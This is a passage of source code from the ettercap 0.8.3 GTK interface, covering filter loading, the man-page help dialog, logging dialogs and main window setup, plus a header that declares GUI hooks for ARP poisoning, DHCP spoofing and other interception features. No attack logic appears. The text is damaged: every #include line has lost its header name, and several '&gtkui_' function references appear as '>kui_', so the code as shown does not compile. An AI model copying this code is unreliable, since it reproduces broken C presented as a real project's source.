precompiled filter file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OPEN, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), path); SAFE_FREE(path); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); /* * load the filters chain. * errors are spawned by the function itself */ filter_load_file(filename, EC_GBL_FILTERS, 1); g_free(filename); } gtk_widget_destroy (dialog); } /* * uload the filter chain */ void gtkui_stop_filter(void) { DEBUG_MSG("gtk_stop_filter"); filter_unload(EC_GBL_FILTERS); gtkui_message("Filters were unloaded"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_help.c0000644000175000017500000001571013505247364021307 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef OS_WINDOWS #include #include #include #include /* globals */ static GtkTreeSelection *selection = NULL; static GtkListStore *liststore = NULL; static GtkTextBuffer *textbuf = NULL; typedef struct { char *title; char *file; } help_pair; help_pair help_list[] = { { "ettercap", "ettercap" }, { "logging", "etterlog" }, { "filters", "etterfilter" }, { "plugins", "ettercap_plugins" }, { "settings", "etter.conf" }, { "curses", "ettercap_curses" }, { NULL, NULL } }; /* proto */ void gtkui_help_open(char *file); void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data); /********************************************/ void gtkui_help(void) { GtkWidget *dialog, *scrolled, *treeview, *hbox, *textview, *content_area; GtkCellRenderer *renderer; GtkTreeViewColumn *column; GtkTreeIter iter; help_pair *section; DEBUG_MSG("gtkui_help"); dialog = gtk_dialog_new_with_buttons(PROGRAM" Help", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CLOSE, GTK_RESPONSE_CLOSE, NULL); gtk_window_set_default_size(GTK_WINDOW (dialog), 780, 580); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 gtk_dialog_set_has_separator(GTK_DIALOG (dialog), TRUE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 6, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_box_pack_start(GTK_BOX(content_area), hbox, TRUE, TRUE, 0); scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, FALSE, FALSE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_tree_view_set_headers_visible(GTK_TREE_VIEW (treeview), FALSE); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect(selection, "changed", G_CALLBACK (gtkui_help_selected), liststore); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Contents", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); liststore = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); for(section = help_list; section->title; section++) { gtk_list_store_append (liststore, &iter); gtk_list_store_set (liststore, &iter, 0, section->title, 1, section->file, -1); } gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore)); /* text area */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview = gtk_text_view_new(); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview), FALSE); gtk_container_add(GTK_CONTAINER (scrolled), textview); gtk_widget_show(textview); textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview)); gtk_widget_show_all(hbox); gtk_dialog_run(GTK_DIALOG (dialog)); gtk_widget_destroy (dialog); } void gtkui_help_open(char *file) { const char *full = "sh -c \"man %s | col -b\""; char *data = NULL, *unicode = NULL, *errors = NULL, *cmd; gboolean ret = FALSE; gint len = 0; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); // try to find the system installed man ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { g_free(errors); // system man not found, try non-standard man(8) installation directory full = "sh -c \"man -M " MAN_INSTALLDIR " %s | col -b\""; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { g_free(errors); // man not found in the man installation directory, try build directory full = "sh -c \"man ./man/%s.8 | col -b\""; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { g_free(errors); // man(8) in the build directory not found, but etter.conf is man(5) full = "sh -c \"man ./man/%s.5 | col -b\""; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { ui_error(errors); g_free(errors); } } } } /* print output of command in help window */ if(data && ret) { if ((unicode = gtkui_utf8_validate(data))) gtk_text_buffer_set_text(textbuf, unicode, -1); g_free(data); } } void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data) { GtkTreeIter iter; GtkTreeModel *model; gchar *file; /* variable not used */ (void) data; if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (treeselection), &model, &iter)) { gtk_tree_model_get (model, &iter, 1, &file, -1); if(!file) return; gtkui_help_open(file); } } #endif ettercap-0.8.3/src/interfaces/gtk/ec_gtk_offline.c0000644000175000017500000000202413505247364021773 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ /* the interface */ void gtkui_sniff_offline(void) { DEBUG_MSG("gtk_sniff_offline"); gtkui_create_menu(0); /* offline menus */ } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk.h0000644000175000017500000001057213505247364020305 0ustar koeppeakoeppea#ifndef ETTERCAP_GTK_H #define ETTERCAP_GTK_H #define G_DISABLE_CONST_RETURNS #include #include #define LOGO_FILE "ettercap.png" #define LOGO_FILE_SMALL "ettercap-small.png" #define ICON_FILE "ettercap.svg" #ifndef GTK_WRAP_WORD_CHAR #define GTK_WRAP_WORD_CHAR GTK_WRAP_WORD #endif struct gtk_conf_entry { char *name; short value; }; struct resolv_object { /* Widget type to be updated */ GType type; /* Widget to be updated */ GtkWidget *widget; /* List Stores are not of type GtkWidget */ GtkListStore *liststore; /* some attributes needed to update the widget */ GtkTreeIter treeiter; guint column; /* The IP address to resolve */ struct ip_addr *ip; }; /* ec_gtk.c */ extern GtkWidget *window; /* main window */ extern GtkWidget *notebook; extern GtkWidget *main_menu; extern GtkUIManager *menu_manager; extern guint merge_id; extern GTimer *progress_timer; extern void set_gtk_interface(void); extern void gtkui_about(void); extern void gtkui_message(const char *msg); extern void gtkui_input(const char *title, char *input, size_t n, void (*callback)(void)); extern void gtkui_exit(void); extern void gtkui_sniff_offline(void); extern void gtkui_sniff_live(void); extern gboolean gtkui_iptoa_deferred(gpointer data); extern gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data); extern void gtkui_dialog_enter(GtkWidget *widget, gpointer data); extern gboolean gtkui_context_menu(GtkWidget *widget, GdkEventButton *event, gpointer data); extern void gtkui_filename_browse(GtkWidget *widget, gpointer data); extern char *gtkui_utf8_validate(char *data); extern GtkWidget *gtkui_box_new(gint orientation, gint spacing, gboolean homogenious); /* MDI pages */ extern GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)(GtkWidget *)); extern void gtkui_page_present(GtkWidget *child); extern void gtkui_page_close(GtkWidget *widget, gpointer data); extern void gtkui_page_close_current(void); extern void gtkui_page_detach_current(void); extern void gtkui_page_attach_shortcut(GtkWidget *win, void (*attacher)(void)); extern void gtkui_page_right(void); extern void gtkui_page_left(void); /* ec_gtk_menus.c */ /* * 0 for offline menus * 1 for live menus */ extern void gtkui_create_menu(int live); extern void gtkui_create_tab_menu(void); /* ec_gtk_start.c */ extern void gtkui_start_sniffing(void); extern void gtkui_stop_sniffing(void); /* ec_gtk_filters.c */ extern void gtkui_load_filter(void); extern void gtkui_stop_filter(void); /* ec_gtk_hosts.c */ #ifdef WITH_IPV6 extern void toggle_ip6scan(void); #endif extern void gtkui_scan(void); extern void gtkui_load_hosts(void); extern void gtkui_save_hosts(void); extern void gtkui_host_list(void); extern gboolean gtkui_refresh_host_list(gpointer data); /* ec_gtk_view.c */ extern void gtkui_show_stats(void); extern void toggle_resolve(void); extern void gtkui_vis_method(void); extern void gtkui_vis_regex(void); extern void gtkui_wifi_key(void); /* ec_gtk_targets.c */ extern void toggle_reverse(void); extern void gtkui_select_protocol(void); extern void wipe_targets(void); extern void gtkui_select_targets(void); extern void gtkui_current_targets(void); extern void gtkui_create_targets_array(void); /* ec_gtk_view_profiles.c */ extern void gtkui_show_profiles(void); /* ec_gtk_mitm.c */ extern void gtkui_arp_poisoning(void); extern void gtkui_icmp_redir(void); extern void gtkui_port_stealing(void); extern void gtkui_dhcp_spoofing(void); #ifdef WITH_IPV6 extern void gtkui_ndp_poisoning(void); #endif extern void gtkui_mitm_stop(void); /* ec_gtk_redirect.c */ extern void gtkui_sslredir_show(void); /* ec_gtk_logging.c */ extern void toggle_compress(void); extern void gtkui_log_all(void); extern void gtkui_log_info(void); extern void gtkui_log_msg(void); extern void gtkui_stop_log(void); extern void gtkui_stop_msg(void); /* ec_gtk_plugins.c */ extern void gtkui_plugin_mgmt(void); extern void gtkui_plugin_load(void); extern gboolean gtkui_refresh_plugin_list(gpointer data); /* ec_gtk_view_connections.c */ extern void gtkui_show_connections(void); /* ec_gtk_conf.c */ extern void gtkui_conf_set(char *name, short value); extern short gtkui_conf_get(char *name); extern void gtkui_conf_read(void); extern void gtkui_conf_save(void); #ifndef OS_WINDOWS /* ec_gtk_help.c */ extern void gtkui_help(void); #endif #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_logging.c0000644000175000017500000001136413505247364022006 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #define FILE_LEN 40 /* proto */ static void log_all(void); static void log_info(void); static void log_msg(void); /* globals */ static char *logfile; /*******************************************/ void toggle_compress(void) { if (EC_GBL_OPTIONS->compress) { EC_GBL_OPTIONS->compress = 0; } else { EC_GBL_OPTIONS->compress = 1; } } /* * display the log dialog */ void gtkui_log_all(void) { GtkWidget *dialog; gchar *filename; DEBUG_MSG("gtk_log_all"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save all to logfile...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_SAVE, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(logfile, filename, FILE_LEN); g_free(filename); log_all(); } else { gtk_widget_destroy(dialog); } } static void log_all(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_loglevel(LOG_PACKET, logfile); SAFE_FREE(logfile); } /* * display the log dialog */ void gtkui_log_info(void) { GtkWidget *dialog; gchar *filename; DEBUG_MSG("gtk_log_info"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Save infos to logfile...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_SAVE, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(logfile, filename, FILE_LEN); g_free(filename); log_info(); } else { gtk_widget_destroy(dialog); } } static void log_info(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_loglevel(LOG_INFO, logfile); SAFE_FREE(logfile); } void gtkui_stop_log(void) { set_loglevel(LOG_STOP, ""); gtkui_message("Logging was stopped."); } /* * display the log dialog */ void gtkui_log_msg(void) { GtkWidget *dialog; gchar *filename; DEBUG_MSG("gtk_log_msg"); /* make sure to free if already set */ SAFE_FREE(logfile); SAFE_CALLOC(logfile, FILE_LEN, sizeof(char)); dialog = gtk_file_chooser_dialog_new("Safe Log Messages in file...", GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_SAVE, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_SAVE, GTK_RESPONSE_OK, NULL); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(dialog), "."); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_widget_destroy(dialog); memcpy(logfile, filename, FILE_LEN); g_free(filename); log_msg(); } else { gtk_widget_destroy(dialog); } } static void log_msg(void) { /* a check on the input */ if (strlen(logfile) == 0) { ui_error("Please specify a filename"); return; } set_msg_loglevel(LOG_TRUE, logfile); SAFE_FREE(logfile); } void gtkui_stop_msg(void) { set_msg_loglevel(LOG_FALSE, NULL); gtkui_message("Message logging was stopped."); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk.c0000644000175000017500000015263713505247364020311 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* \Device\NPF{...} and description are huge. There should be 2 buffers * for this; one for dev-name and 1 for description. Note: dev->description * on WinPcap can contain and newlines! */ #define IFACE_LEN 100 /* globals */ GtkWidget *window = NULL; /* main window */ GtkWidget *notebook = NULL; GtkWidget *main_menu = NULL; GtkUIManager *menu_manager = NULL; guint merge_id; GTimer *progress_timer = NULL; static GtkWidget *notebook_frame = NULL; static GtkWidget *textview = NULL; static GtkTextBuffer *msgbuffer = NULL; static GtkTextMark *endmark = NULL; static GtkAccelGroup *accel_group = NULL; static gboolean progress_canceled = FALSE; static GtkWidget *progress_dialog = NULL; static GtkWidget *progress_bar = NULL; /* proto */ void gtkui_start(void); static void gtkui_init(void); static void gtkui_cleanup(void); static void gtkui_update(int target); static void gtkui_msg(const char *msg); static void gtkui_error(const char *msg); static void gtkui_fatal_error(const char *msg); static gboolean gtkui_flush_msg(gpointer data); static void gtkui_progress(char *title, int value, int max); static void gtkui_setup(void); static void toggle_unoffensive(void); static void toggle_nopromisc(void); static void gtkui_file_open(void); static void read_pcapfile(gchar *file); static void gtkui_file_write(void); static void write_pcapfile(void); static void gtkui_unified_sniff(void); static void gtkui_unified_sniff_default(void); static void gtkui_bridged_sniff(void); static void bridged_sniff(void); static void gtkui_pcap_filter(void); static void gtkui_set_netmask(void); static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data); #if GTK_MINOR_VERSION == 2 static void gtkui_page_defocus_tabs(void); #endif /* wrapper functions which inject the real function call into the main * idle loop, ensugin only th emain thread performs GTK operations */ static gboolean gtkui_cleanup_shim(gpointer data) { /* variable not used */ (void) data; gtkui_cleanup(); return FALSE; } static void gtkui_cleanup_wrap(void) { g_idle_add(gtkui_cleanup_shim, NULL); } static gboolean gtkui_msg_shim(gpointer data) { gtkui_msg(data); SAFE_FREE(data); return FALSE; } static void gtkui_msg_wrap(const char *msg) { char *copy = strdup(msg); if (msg) { g_idle_add(gtkui_msg_shim, copy); } else { FATAL_ERROR("out of memory"); } } static gboolean gtkui_error_shim(gpointer data) { gtkui_error(data); SAFE_FREE(data); return FALSE; } static void gtkui_error_wrap(const char *msg) { char *copy = strdup(msg); if (msg) { g_idle_add(gtkui_error_shim, copy); } else { FATAL_ERROR("out of memory"); } } static gboolean gtkui_fatal_error_shim(gpointer data) { gtkui_fatal_error(data); SAFE_FREE(data); return FALSE; } static void gtkui_fatal_error_wrap(const char *msg) { char *copy = strdup(msg); if (msg) { g_idle_add(gtkui_fatal_error_shim, copy); } else { FATAL_ERROR("out of memory"); } } struct gtkui_input_data { char *title; char *input; size_t n; void (*callback)(void); }; struct gtkui_progress_data { char *title; int value; int max; }; static gboolean gtkui_progress_shim(gpointer data) { struct gtkui_progress_data *gpd = data; gdouble delay; gulong usec; delay = g_timer_elapsed(progress_timer, &usec); delay += usec / 1000000; /* render progress bar if not canceled or lasting longer than 750 ms */ if (!progress_canceled && delay >= 0.75) gtkui_progress(gpd->title, gpd->value, gpd->max); SAFE_FREE(gpd->title); SAFE_FREE(gpd); return FALSE; } static int gtkui_progress_wrap(char *title, int value, int max) { struct gtkui_progress_data *gpd; if (value <= 1) { g_timer_start(progress_timer); progress_canceled = FALSE; } if (progress_canceled == TRUE) { return UI_PROGRESS_INTERRUPTED; } if (!title) { return UI_PROGRESS_UPDATED; } gpd = malloc(sizeof *gpd); if (gpd) { gpd->title = strdup(title); gpd->value = value; gpd->max = max; g_idle_add(gtkui_progress_shim, gpd); } else { FATAL_ERROR("out of memory"); } return value == max ? UI_PROGRESS_FINISHED : UI_PROGRESS_UPDATED; } /***#****************************************/ void set_gtk_interface(void) { struct ui_ops ops; /* wipe the struct */ memset(&ops, 0, sizeof(ops)); /* register the functions */ ops.init = >kui_init; ops.start = >kui_start; ops.type = UI_GTK; ops.cleanup = >kui_cleanup_wrap; ops.msg = >kui_msg_wrap; ops.error = >kui_error_wrap; ops.fatal_error = >kui_fatal_error_wrap; ops.input = >kui_input; ops.progress = >kui_progress_wrap; ops.update = >kui_update; ui_register(&ops); DEBUG_MSG("GTK -> gtk+ %d.%d.%d\n", gtk_major_version, gtk_minor_version, gtk_micro_version); } /* * prepare GTK, create the menu/messages window, enter the first loop */ static void gtkui_init(void) { DEBUG_MSG("gtk_init"); // g_thread_init has been deprecated since version 2.32 and should not be used in newly-written code. This function is no longer necessary. The GLib threading system is automatically initialized at the start of your program. #if !(GLIB_CHECK_VERSION(2,32,0)) g_thread_init(NULL); #endif if(!gtk_init_check(0, NULL)) { FATAL_ERROR("GTK+ failed to initialize. Is X running?"); return; } gtkui_conf_read(); gtkui_setup(); /* initialize timer */ progress_timer = g_timer_new(); /* gui init loop, calling gtk_main_quit will cause * this to exit so we can proceed to the main loop * later. */ gtk_main(); /* remove the keyboard shortcuts for the setup menus */ gtk_window_remove_accel_group(GTK_WINDOW (window), accel_group); EC_GBL_UI->initialized = 1; } /* * exit ettercap */ void gtkui_exit(void) { int left, top, width, height; DEBUG_MSG("gtkui_exit"); g_timer_destroy(progress_timer); gtk_window_get_position(GTK_WINDOW (window), &left, &top); gtk_window_get_size(GTK_WINDOW (window), &width, &height); gtkui_conf_set("window_left", left); gtkui_conf_set("window_top", top); gtkui_conf_set("window_width", width); gtkui_conf_set("window_height", height); gtk_main_quit(); gtkui_conf_save(); clean_exit(0); } /* * reset to the previous state */ static void gtkui_cleanup(void) { DEBUG_MSG("gtk_cleanup"); } /* * process an UI update notification */ static void gtkui_update(int target) { switch (target) { case UI_UPDATE_HOSTLIST: g_idle_add((GSourceFunc)gtkui_refresh_host_list, NULL); break; case UI_UPDATE_PLUGINLIST: g_idle_add((GSourceFunc)gtkui_refresh_plugin_list, NULL); break; } } /* * print a USER_MSG() extracting it from the queue */ static void gtkui_msg(const char *msg) { GtkTextIter iter; gchar *unicode = NULL; DEBUG_MSG("gtkui_msg: %s", msg); if((unicode = gtkui_utf8_validate((char *)msg)) == NULL) return; gtk_text_buffer_get_end_iter(msgbuffer, &iter); gtk_text_buffer_insert(msgbuffer, &iter, unicode, -1); gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview), endmark, 0, FALSE, 0, 0); return; } /* flush pending messages */ gboolean gtkui_flush_msg(gpointer data) { /* variable not used */ (void) data; ui_msg_flush(MSG_ALL); return(TRUE); } /* * display about dialog */ void gtkui_about(void) { GtkWidget *dialog, *notebook, *content, *scroll, *vbox, *logo, *label; GtkWidget *button, *textview; GtkTextBuffer *textbuf; GtkTextIter iter; GError *error = NULL; const gchar *path, *unicode; gchar *license, *authors; gsize length; dialog = gtk_dialog_new(); gtk_window_set_title(GTK_WINDOW(dialog), "About"); gtk_window_set_modal(GTK_WINDOW(dialog), TRUE); gtk_window_set_transient_for(GTK_WINDOW(dialog), GTK_WINDOW(window)); gtk_window_set_position(GTK_WINDOW(dialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_default_size(GTK_WINDOW(dialog), 450, 300); button = gtk_dialog_add_button(GTK_DIALOG(dialog), "Close", GTK_RESPONSE_CLOSE); gtk_button_set_image(GTK_BUTTON(button), gtk_image_new_from_stock(GTK_STOCK_CLOSE, GTK_ICON_SIZE_BUTTON)); notebook = gtk_notebook_new(); /* General page */ vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 10, FALSE); path = INSTALL_DATADIR "/" PROGRAM "/" LOGO_FILE_SMALL; if(g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE_SMALL); gtk_box_pack_start(GTK_BOX(vbox), logo, FALSE, FALSE, 0); label = gtk_label_new(""); gtk_label_set_markup(GTK_LABEL(label), "" PROGRAM " " EC_VERSION ""); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); label = gtk_label_new("www.ettercap-project.org"); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_notebook_append_page(GTK_NOTEBOOK(notebook), vbox, gtk_label_new("General")); /* Authors page */ scroll= gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); /* load the authors file */ g_file_get_contents("./AUTHORS", &authors, &length, &error); if (error != NULL) { /* no debug message */ g_error_free(error); error = NULL; /* 2nd try */ g_file_get_contents(INSTALL_DATADIR "/" PROGRAM "/AUTHORS", &authors, &length, &error); if (error != NULL) { DEBUG_MSG("failed to load authors file: %s", error->message); gtkui_error("Failed to load AUTHORS file."); g_error_free(error); error = NULL; } } textview = gtk_text_view_new(); gtk_text_view_set_editable(GTK_TEXT_VIEW(textview), FALSE); textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview)); if (authors && (unicode = gtkui_utf8_validate(authors)) != NULL) { gtk_text_buffer_get_end_iter(textbuf, &iter); gtk_text_buffer_insert(textbuf, &iter, unicode, -1); } gtk_container_add(GTK_CONTAINER(scroll), textview); gtk_notebook_append_page(GTK_NOTEBOOK(notebook), scroll, gtk_label_new("Authors")); /* License page */ scroll= gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); /* load license file */ g_file_get_contents("./LICENSE", &license, &length, &error); if (error != NULL) { /* no debug message */ g_error_free(error); error = NULL; /* 2nd try */ g_file_get_contents(INSTALL_DATADIR "/" PROGRAM "/LICENSE", &license, &length, &error); #ifndef OS_WINDOWS if (error != NULL) { DEBUG_MSG("failed to load license file: %s, try system path ...", error->message); g_error_free(error); error = NULL; /* 3rd try */ g_file_get_contents("/usr/share/common-licenses/GPL-2", &license, &length, &error); } #endif if (error != NULL) { DEBUG_MSG("failed to load license file: %s", error->message); gtkui_error("Failed to load LICENSE file."); g_error_free(error); error = NULL; } } textview = gtk_text_view_new(); gtk_text_view_set_editable(GTK_TEXT_VIEW(textview), FALSE); textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview)); if (license && (unicode = gtkui_utf8_validate(license)) != NULL) { gtk_text_buffer_get_end_iter(textbuf, &iter); gtk_text_buffer_insert(textbuf, &iter, unicode, -1); } gtk_container_add(GTK_CONTAINER(scroll), textview); gtk_notebook_append_page(GTK_NOTEBOOK(notebook), scroll, gtk_label_new("License")); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content), notebook); /* Hitting Enter closes the About dialog */ gtk_widget_grab_focus( gtk_dialog_get_widget_for_response( GTK_DIALOG(dialog), GTK_RESPONSE_CLOSE)); gtk_widget_show_all(GTK_WIDGET(dialog)); gtk_dialog_run(GTK_DIALOG(dialog)); if (authors) g_free(authors); if (license) g_free(license); gtk_widget_destroy(dialog); } /* * print an error */ static void gtkui_error(const char *msg) { GtkWidget *dialog; gchar *unicode = NULL; DEBUG_MSG("gtkui_error: %s", msg); if((unicode = gtkui_utf8_validate((char *)msg)) == NULL) return; dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_MESSAGE_ERROR, GTK_BUTTONS_OK, "%s", unicode); gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); /* blocking - displays dialog waits for user to click OK */ gtk_dialog_run(GTK_DIALOG (dialog)); gtk_widget_destroy(dialog); return; } /* * handle a fatal error and exit */ static void gtkui_fatal_error(const char *msg) { /* if the gui is working at this point display the message in a dialog */ if(window) gtkui_error(msg); /* also dump it to console in case ettercap was started in an xterm */ fprintf(stderr, "FATAL ERROR: %s\n\n\n", msg); clean_exit(-1); } /* * get an input from the user */ void gtkui_input(const char *title, char *input, size_t n, void (*callback)(void)) { GtkWidget *dialog, *entry, *label, *hbox, *image, *content_area; dialog = gtk_dialog_new_with_buttons(PROGRAM" Input", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); #if !GTK_CHECK_VERSION(2, 22, 0) // depricated since Gtk 2.22 gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 